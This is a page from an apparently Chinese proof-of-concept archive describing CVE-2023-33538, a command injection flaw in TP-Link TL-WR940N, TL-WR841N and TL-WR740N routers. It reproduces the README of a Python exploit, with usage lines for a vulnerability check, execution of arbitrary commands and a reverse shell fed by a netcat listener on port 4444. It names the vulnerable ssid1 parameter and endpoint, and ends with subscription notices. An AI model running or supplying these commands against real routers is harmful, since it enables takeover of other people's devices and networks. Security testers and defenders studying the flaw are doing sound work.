关联漏洞
标题:TP-Link wireless router 命令注入漏洞 (CVE-2023-33538)Description:TP-LINK TL-WR940N是中国普联(TP-LINK)公司的一款无线路由器。 TP-Link wireless router存在安全漏洞,该漏洞源于通过/userRpm/WlanNetworkRpm组件发现包含命令注入漏洞。受影响的产品和版本:TP-Link TL-WR940N V2版本和V4版本,TL-WR841N V8版本和V10版本, TL-WR740N V1版本和V2版本。
Description
Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
介绍
# Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
## Usage Instructions
1. **Basic Vulnerability Check**:
```
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
```
2. **Execute Custom Command**:
```
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
```
3. **Reverse Shell** (set up listener first with `nc -lvnp 4444`):
```
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
```
**Important Notes**:
- These scripts are for educational and testing purposes only
- Always get proper authorization before testing any system
- The reboot command is used as default because it's non-destructive and easily verifiable
- The reverse shell may not work on all firmware versions as it depends on available binaries
- Some firmware versions require a random path in the URL which the script attempts to detect automatically
The vulnerability exists due to improper input sanitization in the `ssid1` parameter of the `/userRpm/WlanNetworkRpm.htm` endpoint, allowing command injection through specially crafted requests.
文件快照
[4.0K] /data/pocs/1b2056b2af4bb874a0cc26e916c3ae6b92329482
├── [1.1K] README.md
└── [4.8K] tplink.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →